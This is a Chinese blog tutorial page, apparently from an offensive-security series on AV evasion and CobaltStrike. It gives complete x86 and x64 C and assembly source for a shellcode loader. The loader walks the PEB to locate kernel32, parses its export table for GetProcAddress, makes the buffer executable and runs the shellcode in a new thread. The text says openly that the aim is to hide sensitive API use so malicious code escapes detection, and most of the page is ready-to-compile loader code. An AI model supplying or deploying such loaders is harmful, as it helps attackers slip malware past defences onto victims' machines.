Henry's Blog
  • CobaltStrike系列
    • CobaltStrike的基本操作
    • CobaltStrike会话管理
    • CobaltStrike重定向服务
    • CobaltStrike钓鱼攻击
    • 凭据导出与存储
    • Beacon的常用操作
    • DnsBeacon详解
    • 权限提升
    • 简单的内网信息收集
    • Cross2生成LinuxShell
    • CNA插件开发
    • Profile编写规则
    • BOF开发
    • execute-assembly原理
    • Vps搭建可能遇到的问题
  • OPSEC(免杀)
    • BypassPPL
    • Certutil绕过技巧
    • DLL劫持技术(白+黑)
    • PEB伪装
    • PpidSpoofing
    • Python反序列化免杀
    • WebShell绕过技巧
    • mimikatz免杀
    • 利用CobaltStrikeProfile实现免杀
    • 利用Windows异常机制实现Bypass
    • 削弱WindowsDefender
    • 模拟Powershell实现Bypass
    • 浅谈CobaltStrikeUDRL
    • 添加用户和计划任务(Bypass)
    • 移除NtDll的hook
    • 定位修改MsfShellcode特征码实现免杀
    • 利用COM接口实现进程断链执行.md
    • 免杀工具篇
      • Invoke-Obfuscation
      • Shellter
    • 流量检测逃避
      • CobaltStrike流量逃避.md
      • MSF流量加密.md
      • NC反弹Shell流量加密.md
  • Shellcode加密
    • 前置知识
    • XOR加密
    • AES加密
  • Shellcode加载器
    • 常见的加载方式
    • 分离加载
    • 创建纤程加载
    • 动态调用API加载
    • 基于APC注入加载
    • 基于反调试加载
    • 基于回调函数加载
    • 基于线程池加载
    • 模块踩踏
    • 进程镂空注入(傀儡进程)
    • 反射dll注入(内嵌式)
  • Web渗透
    • 信息收集
    • 各类Webshell
    • 基本漏洞利用
    • 远程命令执行漏洞
    • sql注入
    • sqlmap的使用方法
  • 内网渗透
    • 内网渗透前置知识
    • BadUsb制作
    • Linux反弹Shell总结
    • 内网渗透技术总结
    • 横向移动
      • GoToHttp
      • MS14-068
      • PassTheHash
      • PassTheTicket
      • Psexec
      • RustDesk
      • SMB横移
      • WMI横移
      • 用户枚举与爆破
    • 流量加密
      • CobaltStrike流量加密
      • MsfShell流量加密
      • OpenSSL加密反弹shell
  • 协议分析
    • TCP_IP协议
  • 权限提升
    • 土豆提权原理
    • UAC提权
  • 蓝队技术
    • 应急响应流程总结
  • 进程注入
    • Conhost注入
    • session0注入
    • 内核回调表注入
    • 剪切板注入
  • 逆向技术
    • HOOK技术
    • IDA遇到的坑
    • Shellcode的原理与编写
    • Windbg的使用
    • 使用Stardust框架编写Shellcode
    • PeToShellcode
    • 破解系列
      • PUSH窗体大法
      • VM绕过技巧(易语言)
      • Crackme_1
      • 反破解技术
      • 按钮事件特征码
      • 逆向调试符号
      • 破解实例
        • IDA逆向注册码算法
  • 钓鱼技术
    • Flash网页钓鱼
    • LNK钓鱼
    • 自解压程序加载木马
  • 隧道应用
    • 隧道应用前置知识
    • BurpSuite上游代理
    • DNS隧道传输
    • EarthWorm内网穿透
    • Frp内网穿透
    • ICMP隧道传输
    • MsfPortfwd端口转发
    • Neo-reGeorg内网穿透
    • NetCat工具使用
    • Netsh端口转发
    • SSH端口转发
    • 正向连接与反向连接
  • 基础学习
    • C和C++
      • C++编程
      • C程序设计
    • Linux学习
      • Linux Shell编程
      • linux基础
    • Python基础
      • python之Socket编程
      • python之多线程操作
      • python基础
      • python算法技巧
    • Qt基础
      • Qt笔记
    • 逆向基础
      • PE结构
      • Win32
      • 汇编语言
  • 漏洞复现
    • Web漏洞
      • ApacheShiro反序列化漏洞
    • 系统漏洞
      • Linux漏洞
        • ShellShock(CVE-2014-6271)
  • 靶场系列
    • Web靶场
      • pikachu靶场
      • sqli-labs
      • upload-labs
    • 内网靶场
      • Jarbas靶场
      • SickOS靶场
      • W1R3S靶场
      • prime靶场
      • vulnstack靶场系列一
      • vulnstack靶场系列二
      • vulnstack靶场系列四
  • 代码审计
    • PHP代码审计基础
  • 一些杂七杂八的
    • 开发工具与环境
      • Github的使用
      • JSP环境搭建
      • Pycharm设置代码片段
      • VS2017安装番茄助手(破解版)
      • VisualStudio项目模板的使用
      • WindowsServer搭建IIS环境
      • 安装Scoop
      • c++安装vcpkg
      • dotnet-cnblog的安装与使用
      • gitbook使用教程
      • kali安装burpsuite
      • 配置win2012域服务器
      • VSCode配置MinGW
    • 踩坑记录
      • BurpSuite导入证书
      • Powershell禁止执行脚本
      • centos7没有显示ip
      • kali安装pip2
      • oracle12没有scott用户
由 GitBook 提供支持
在本页
  • 简介
  • 实现思路
  • 代码实现
  • x86
  • x64
  1. Shellcode加载器

动态调用API加载

简介

传统的静态导入API函数会在可执行文件的导入表中明确列出所有用到的函数。这使得恶意代码容易被安全工具和分析人员发现,因为敏感API函数的使用通常表明了恶意行为。

而动态调用API函数,如本示例中的代码所展示的,可以在运行时动态解析并获取API函数的地址。这样,敏感函数不会出现在导入表中,从而使得恶意代码更难被发现。此外,动态调用API函数还可以结合其他技术(如代码混淆、加密等)来进一步提高恶意代码的隐蔽性

实现思路

  • 定位关键模块:首先找到包含核心API函数的关键模块(如kernel32.dll)。这通常可以通过解析PEB(Process Environment Block)中的模块列表来完成。

  • 获取GetProcAddress:定位到kernel32.dll后,需要解析导出表(Export Table)以获取GetProcAddress函数的地址。GetProcAddress是一个核心函数,用于在运行时动态解析其他API函数的地址。

  • 加载其他API:通过GetProcAddress函数,可以逐个获取其他需要的API函数的地址。例如,可以通过GetProcAddress获取VirtualProtect、CreateThread和WaitForSingleObject等函数的地址。

  • 准备Shellcode:将Shellcode存储在缓冲区中,使用VirtualProtect函数将缓冲区的内存页属性更改为可执行,以确保可以安全地执行Shellcode。

  • 创建线程并执行Shellcode:使用CreateThread函数创建一个新线程,并将Shellcode的地址作为线程的启动例程。线程创建后,使用WaitForSingleObject等待线程执行完成

代码实现

x86

#include <stdio.h>
#include <windows.h>

//声明定义api函数
typedef FARPROC(WINAPI* p_GetProcAddress)(_In_ HMODULE hModule, _In_ LPCSTR lpProcName);
typedef HMODULE(WINAPI* p_LoadLibraryA)(__in LPCSTR lpLibFileName);
typedef BOOL(WINAPI* p_VirtualProtect)(LPVOID, DWORD, DWORD, PDWORD);
typedef HANDLE(WINAPI* p_CreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef DWORD(WINAPI* p_WaitForSingleObject)(HANDLE, DWORD);


// 内联汇编函数,用于获取Kernel32.dll模块的基地址
HMODULE inline __declspec(naked) GetKernel32Moudle()
{
    __asm
    {
        mov eax, fs: [0x30] ;
        mov eax, [eax + 0xc];
        mov eax, [eax + 0x14]
            mov eax, [eax];
        mov eax, [eax];
        mov eax, [eax + 0x10];
        ret;
    }
}

//获取GetProcAddress函数的地址
DWORD pGetProcAddress(HMODULE Kernel32Base) {
    char szGetProcAddr[] = { 'G','e','t','P','r','o','c','A','d','d','r','e','s','s',0 };
    DWORD result = NULL;

    // 遍历kernel32.dll的导出表,找到GetProcAddr函数地址
    PIMAGE_DOS_HEADER pDosHead = (PIMAGE_DOS_HEADER)Kernel32Base;
    PIMAGE_NT_HEADERS pNtHead = (PIMAGE_NT_HEADERS)((DWORD)Kernel32Base + pDosHead->e_lfanew);
    PIMAGE_OPTIONAL_HEADER pOptHead = (PIMAGE_OPTIONAL_HEADER)&pNtHead->OptionalHeader;
    PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)((DWORD)Kernel32Base + pOptHead->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
    DWORD* pAddOfFun_Raw = (DWORD*)((DWORD)Kernel32Base + pExport->AddressOfFunctions);
    WORD* pAddOfOrd_Raw = (WORD*)((DWORD)Kernel32Base + pExport->AddressOfNameOrdinals);
    DWORD* pAddOfNames_Raw = (DWORD*)((DWORD)Kernel32Base + pExport->AddressOfNames);
    char* pFinded = NULL, * pSrc = szGetProcAddr;
    for (DWORD dwCnt = 0; dwCnt < pExport->NumberOfNames; dwCnt++)
    {
        pFinded = (char*)((DWORD)Kernel32Base + pAddOfNames_Raw[dwCnt]);
        while (*pFinded && *pFinded == *pSrc)
        {
            pFinded++; pSrc++;
        }
        if (*pFinded == *pSrc)
        {
            result = (DWORD)Kernel32Base + pAddOfFun_Raw[pAddOfOrd_Raw[dwCnt]];
            break;
        }
        pSrc = szGetProcAddr;
    }
    return result;
}


int main() {
    unsigned char buf[] = "填写x86的shellcode";

    HMODULE hKernal32 = GetKernel32Moudle(); // 获取Kernel32模块的地址
    p_GetProcAddress GetProcAddress = (p_GetProcAddress)pGetProcAddress(hKernal32); // 获取GetProcAddress函数的地址
    p_VirtualProtect VirtualProtect = (p_VirtualProtect)GetProcAddress(hKernal32, "VirtualProtect");  //获取VirtualProtect函数地址
    p_CreateThread CreateThread = (p_CreateThread)GetProcAddress(hKernal32, "CreateThread");  //获取CreateThread函数地址
    p_WaitForSingleObject WaitForSingleObject = (p_WaitForSingleObject)GetProcAddress(hKernal32, "WaitForSingleObject");  //获取WaitForSingleObject函数地址

    DWORD oldProtect;
    VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);

    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)buf, NULL, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);
    return 0;
}

x64

由于x64无法编写内联汇编代码, 因此需另创一个asm文件来进行编写

​

此处我创建了一个GetInitializationOrderModuleList.asm, 用于获取InitializationOrderModuleList, 其代码如下所示:

.CODE
    GetInInitializationOrderModuleList PROC
    mov rax,gs:[60h] ; PEB,注意,这里不能写0x60
    mov rax,[rax+18h] ; PEB_LDR_DATA
    mov rax,[rax+30h] ; InInitializationOrderModuleList
    ret ; 这里不能写retn
    GetInInitializationOrderModuleList ENDP
END

随后鼠标右键单击新建的asm文件, 选择属性, 在常规选项处将从生成中排除设置为否, 项类型设置为自定义生成工具

在自定义生成工具选项处, 在命令行框输入:ml64 /Fo $(IntDir)%(fileName).obj /c %(fileName).asm, 在输出框输入:$(IntDir)%(FileName).obj

打开项目属性,勾选C/C++->代码生成->禁用安全检查

以下是shellcode加载代码

#include <stdio.h>
#include <windows.h>

// UNICODE_STRING 结构体定义
typedef struct _UNICODE_STRING {
    USHORT Length;  //表示字符串中的字符数,由于它是unicode形式的字符,因此每个字符占两个字节
    USHORT MaximumLength;  //分配的内存空间的大小,以字节为单位
    PWSTR Buffer;  //表示指向存储Unicode字符串的字符数组的指针
} UNICODE_STRING, * PUNICODE_STRING;

// 声明获取 InInitializationOrderModuleList 链表的函数
extern "C" PVOID64 __stdcall GetInInitializationOrderModuleList();

// 获取 Kernel32.dll 的基地址
HMODULE getKernel32Address() {
    // 获取 InInitializationOrderModuleList 链表
    LIST_ENTRY* pNode = (LIST_ENTRY*)GetInInitializationOrderModuleList();
    while (1) {
        // 获取 FullDllName 成员
        UNICODE_STRING* FullDllName = (UNICODE_STRING*)((BYTE*)pNode + 0x38);
        // 如果 Buffer 中的第 13 个字符为空字符,则已找到 Kernel32.dll
        if (*(FullDllName->Buffer + 12) == '\0') {
            // 返回模块的基地址
            return (HMODULE)(*((ULONG64*)((BYTE*)pNode + 0x10)));
        }
        pNode = pNode->Flink;
    }
}

// 获取 GetProcAddress 函数的地址
DWORD64 getGetProcAddress(HMODULE hKernal32) {
    // 获取 DOS 头
    PIMAGE_DOS_HEADER baseAddr = (PIMAGE_DOS_HEADER)hKernal32;
    // 获取 NT 头
    PIMAGE_NT_HEADERS pImageNt = (PIMAGE_NT_HEADERS)((LONG64)baseAddr + baseAddr->e_lfanew);
    // 获取导出表
    PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)((LONG64)baseAddr + pImageNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
    // 获取导出函数地址数组、导出函数名数组和导出函数序号数组
    PULONG RVAFunctions = (PULONG)((LONG64)baseAddr + exportDir->AddressOfFunctions);
    PULONG RVANames = (PULONG)((LONG64)baseAddr + exportDir->AddressOfNames);
    PUSHORT AddressOfNameOrdinals = (PUSHORT)((LONG64)baseAddr + exportDir->AddressOfNameOrdinals);

    // 遍历导出函数
    for (size_t i = 0; i < exportDir->NumberOfNames; i++) {
        // 获取当前函数地址
        LONG64 F_va_Tmp = (ULONG64)((LONG64)baseAddr + RVAFunctions[(USHORT)AddressOfNameOrdinals[i]]);
        // 获取当前函数名地址
        PUCHAR FunctionName = (PUCHAR)((LONG64)baseAddr + RVANames[i]);
        // 如果当前函数名是 "GetProcAddress",返回其地址
        if (!strcmp((const char*)FunctionName, "GetProcAddress")) {
            return F_va_Tmp;
        }
    }
}

// 定义函数指针类型
typedef FARPROC(WINAPI* pGetProcAddress)(HMODULE, LPCSTR);
typedef BOOL(WINAPI* pVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD);
typedef HANDLE(WINAPI* pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef DWORD(WINAPI* pWaitForSingleObject)(HANDLE, DWORD);

int main() {
    // 定义包含 shellcode 的缓冲区
    unsigned char buf[] =
        "填写x64的shellcode";

    // 获取 Kernel32.dll 的基地址和GetProcAddress函数地址
    HMODULE hKernal32 = getKernel32Address(); // 获取Kernel32.dll的基地址
    pGetProcAddress GetProcAddress = (pGetProcAddress)getGetProcAddress(hKernal32); // 获取GetProcAddress函数地址
    
    //获取其他所需API函数地址
    pVirtualProtect VirtualProtect = (pVirtualProtect)GetProcAddress(hKernal32, "VirtualProtect");
    pCreateThread CreateThread = (pCreateThread)GetProcAddress(hKernal32, "CreateThread");
    pWaitForSingleObject WaitForSingleObject = (pWaitForSingleObject)GetProcAddress(hKernal32, "WaitForSingleObject");
    
    //修改shellcode缓冲区的内存保护属性,以便执行
    DWORD oldProtect;
    VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);
    
    //创建新线程执行shellcode并等待其执行完成
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)buf, NULL, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);
    return 0;
}
上一页创建纤程加载下一页基于APC注入加载

最后更新于7个月前